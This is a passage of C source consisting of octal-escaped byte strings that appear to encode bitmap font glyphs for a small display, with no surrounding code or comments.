\"\\37\\37\\37\\0\\0\\0\\0\\1\\3\\7\\17\\36\\36\\34<\\70\\70\\70\\70\\70<\\34\\34\\36\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\77\\377\\374\\340\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\177\\17\\1\\0\\0\\7\\77\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\"\n  \"\\377\\77\\37\\34\\34\\34\\34\\34\\34\\34\\34\\37\\177\\377\\374\\360\\200\\0\\0\\0<\\77\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\17\\77\\77<\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\1\\1\\1\\1\\1\\1\\1\\1\\3\\3\\7\\17\\377\\377\\374\\360\\0\\0\\0\\0\\377\\377\\377\\377\\70\\70\\70\\70\\70\\70\\70\"\n  \"\\70x|\\376\\357\\357\\307\\203\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\203\\377\\377\"\n  \"\\377x\\0\\0\\0\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70\\70\\70\\70<\\34\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\"\n  \"\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\\77\\17\\7\\3\\3\\1\\1\\1\\1\\3\\3\\7\\17\\37>\"\n  \"\\34\\30\\0\\0\\376\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\177\\377\\377\"\n  \"\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\17\\36\\34<\\70\\70\"\n  \"\\70\\70\\70<\\34\\36\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\1\\1\\1\\1\\1\\1\\1\\3\\3\\7\\17\\77\\376\\374\\360\\300\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\377\\377\\377\\374\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\"\n  \"\\77\\3\\0\\0\\0\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70<<\\34\\36\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\377\\377\\377\\377ppppppppppppp\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70\\70\"\n  \"\\70\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\377\\377\\377\\377\\70\\70\\70\\70\\70\\70\"\n  \"\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376\\37\\17\\7\\3\\3\\1\\1\\1\\1\\3\\3\\7\\17\\37\\36\"\n  \"\\14\\0\\0\\0\\376\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\17\\177\\377\\377\"\n  \"\\360\\300\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\377\\377\\377\\377\\0\\0\\0\\0\\1\\3\\7\\17\\17\\36\\34<\\70\\70\"\n  \"\\70\\70\\70<\\34\\36\\37\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377ppppppp\"\n  \"ppppp\\377\\377\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\77\\77\\77\"\n  \"\\77\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\1\\1\\1\\1\\1\\1\\377\\377\\377\\377\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\177\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\4\\17\\36\\36<\\70\\70\\70\\70<\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300@\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\200\\300\\340\\360\\370|>\\17\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\360x<\\376\\377\\367\\303\\201\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\1\\7\\17\\77~\\374\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\3\\17\\37\\77>\\70\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\0\\0\\377\\377\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\200\\340\\370~\\377\\377\"\n  \"\\377\\377\\0\\0\\377\\377\\377\\377\\0\\3\\17\\77\\376\\370\\340\\360\\374\\177\\37\\7\\1\\0\\377\\377\\377\\377\\0\\0\\377\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\3\\7\\3\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\77\\376\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\\377\\0\\0\\3\\17\\37\\177\\374\"\n  \"\\360\\300\\200\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77\\376\\370\\340\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\"\n  \"\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376\\37\\17\\7\\3\\3\\1\\1\\1\\3\\3\\7\\17\\37\\376\\374\"\n  \"\\370\\340\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\376\\0\\7\\177\\377\\377\"\n  \"\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\\177\\7\\0\\0\\0\\1\\3\\7\\17\\37\\36<<\\70\\70\"\n  \"\\70\\70<\\36\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\1\\1\\1\\1\\1\\1\\1\\1\\3\\3\\7\\17\\377\\376\\374\\360\\0\\0\\0\\0\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\360x|\\77\\77\\17\\3\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\"\n  \"\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\\376\\37\\17\\7\\3\\3\\1\\1\\1\\3\\3\\7\\17\\37\\376\\374\"\n  \"\\370\\340\\0\\0\\376\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\376\\0\\17\\177\\377\\377\"\n  \"\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\\177\\7\\0\\0\\0\\1\\7\\17\\17\\37<<\\70\\370\\370\"\n  \"\\370\\70<<\\36\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\36\\36\\34\\34\\34\\34\\34\"\n  \"\\34\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\1\\1\\1\\1\\1\\1\\1\\1\\3\\3\\7\\17\\377\\376\\374\\360\\0\\0\\0\\0\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\360\\370|\\77\\37\\17\\3\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\374\\360\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\77>\\70 \\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\376\\377\\7\\3\\3\\1\\1\\1\\1\\1\\3\\3\\7\\17\\37\\16\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\36<\\70xx\\360\\360\\340\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\207\\377\\377\\376x\\0\\0\\0\\6\\7\\17\\37\\36\\34<\\70\\70\\70\\70\"\n  \"\\70<<\\34\\36\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\1\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\77\\0\\0\\0\\0\\3\\7\\17\\37\\36\\34<\\70\\70\\70\"\n  \"\\70<<\\36\\37\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300@\\0\\0\\7\\77\\377\"\n  \"\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\37\\3\\0\\0\\0\\0\\0\\1\\17\\177\\377\\374\\340\\0\\0\\0\"\n  \"\\0\\0\\340\\374\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\377\\377\\370\\300\\370\\377\\177\\17\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\77\\77\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\37\\377\\377\\370\\0\\0\\0\\0\\0\\200\\370\\377\\376\\340\\0\\0\\0\\0\\0\\360\"\n  \"\\377\\377\\7\\0\\0\\17\\377\\377\\374\\0\\0\\300\\374\\377\\17\\1\\37\\377\\376\\360\\0\\0\\370\\377\\377\\3\\0\\0\\0\\0\\3\\377\"\n  \"\\377\\377\\374\\377\\17\\0\\0\\0\\0\\1\\37\\377\\377\\370\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\17\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\1\\37\\77\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\1\\7\"\n  \"\\37\\177\\374\\370\\340\\200\\0\\0\\0\\300\\360\\374\\177\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\217\\377\\376\\374\"\n  \"\\377\\337\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\77\\37\\7\\3\\17\\37\\177\\374\\370\\340\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\60<\\77\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77>\\70 \\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300@\\0\\0\\1\\7\\17\\77\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\300\\360\\376\\177\\37\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\374\\360\\360\\374\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\1\\1\\1\\1\\1\\201\\341\\371\\377\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\"\n  \"\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\374~\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70>\\77\\77;\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360ppp\"\n  \"pppppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0`\\340\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\17\\77\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\370\"\n  \"\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\376\\370\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\377\\374p@\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppppppppp\"\n  \"pp\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\200\\300\\360\\374\\77\\37\\17\\77~\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\7\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\7\\17\\17\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\0\\0\\0\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\77\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\374\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\300\\200\\200\\200\\200\\0\\0\\0\\0\"\n  